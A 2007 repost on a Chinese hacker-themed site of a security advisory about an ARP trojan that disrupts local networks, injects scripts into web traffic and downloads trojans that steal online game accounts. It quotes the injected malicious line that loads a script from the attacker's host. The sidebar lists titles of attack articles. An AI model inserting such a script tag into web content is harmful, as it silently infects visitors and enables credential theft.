黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 网管频道 >> 安全应用 >> 正文
·完美空间提供500M免费AS04-10·企业安全之YY内网准入以04-09
·企业安全之意识与策略04-09·剑走偏锋:IIS漏洞利用04-09
·我来免费网提供100M免费04-09·1122mb.com提供20G超大免04-08
·映像劫持与反劫持技术04-07·让所有"暴力删除工具"无04-07
·入侵88red系统的详细过程04-07·Sql Injection脚本注入终04-07
·vbs+delphi 反弹后门生成04-07·飞讯网提供100MB免费PHP04-07
·突破SQL注入攻击时输入框04-04·结合内核和病毒技术的最04-04
·Real Player rmoc3260.d04-04·亿万网络今月最后为您提04-04
·php+mysql 5 sql inject04-03·Real Player rmoc3260.d04-03
·oblog文件下载漏洞04-03·免费啦提供1G-2G免费全能04-03
·完全解析网页后门和挂马04-02·一句话开3389(只测试过04-02
·萧萧免费空间网提供100M04-02·谷道免费空间网提供1G免04-01
·从本地入手解决双线路由03-31·sablog 1.6 多个跨站漏洞03-31
·富文本编辑器的跨站脚本03-31·Cookie注入是怎样产生的03-31
[注意]恶性ARP木马,一人中招全网感染
      ★★★★★

恶性ARP木马,一人中招全网感染

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-6-13 8:49:23
一台电脑中招,整网均被感染。目前名为9166.biz / 5y5.us Arp的木马病毒正在四处蔓延开来。
近日,360安全中心接到大量用户的举报,称全局域网的电脑中都出现了弹出5y5.us或9166.biz等网页,电脑被种植多个木马病毒,时常断网等现象。360安全中心的工程师随即对此进行了分析。

木马的危害行为:

1.通过网页漏洞传播该病毒通过植入网站上的一句JS脚本,导致有XML等漏洞的机器中招,成为此ARP病毒的传播源

2.ARP攻击篡改局域网数据包,一台电脑中招,局域网内的所有用户均遭殃:该病毒在整个局域网用户上网的网页中增加"<script src=http://9166.biz/w.js></script>"等内容,从而使局域网内有XML漏洞的电脑同时感染此病毒。

3.查杀困难,整个网络不时掉线:由于遭受攻击的局域网一般都是多台电脑感染,同时发起ARP攻击,因此整个局域网很不稳定,时常掉线甚至瘫痪。而且由于机器之间互相感染,因此彻底查杀及恢复非常困难。

4.后台下载多个热门游戏木马该木马会自动到网上下载梦幻、征途、江湖、魔域、武林外传、奇迹世界、天龙八部、传奇世界、完美国际、风云、魔兽、江湖、QQ幻想等十多款网络游戏木马,偷窃用户游戏帐户。

据360安全中心专家分析,此ARP木马病毒已经导致了上百万台电脑感染,数万个局域网络频临瘫痪。360安全卫士已经在第一时间推出了专杀工具,供受害用户使用。同时,只要用户使用360安全卫士勤打系统补丁,就不会感染此木马病毒,防患于未然。

相关链接:

ARP病毒知识:http://zhidao.baidu.com/question/5917597.html


注:若在局域网中已发现此木马导致的症状(如全网断网、多台电脑弹出网页等),请用此专杀将局域网中的所有电脑均查杀一遍,方可彻底解决问题
文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886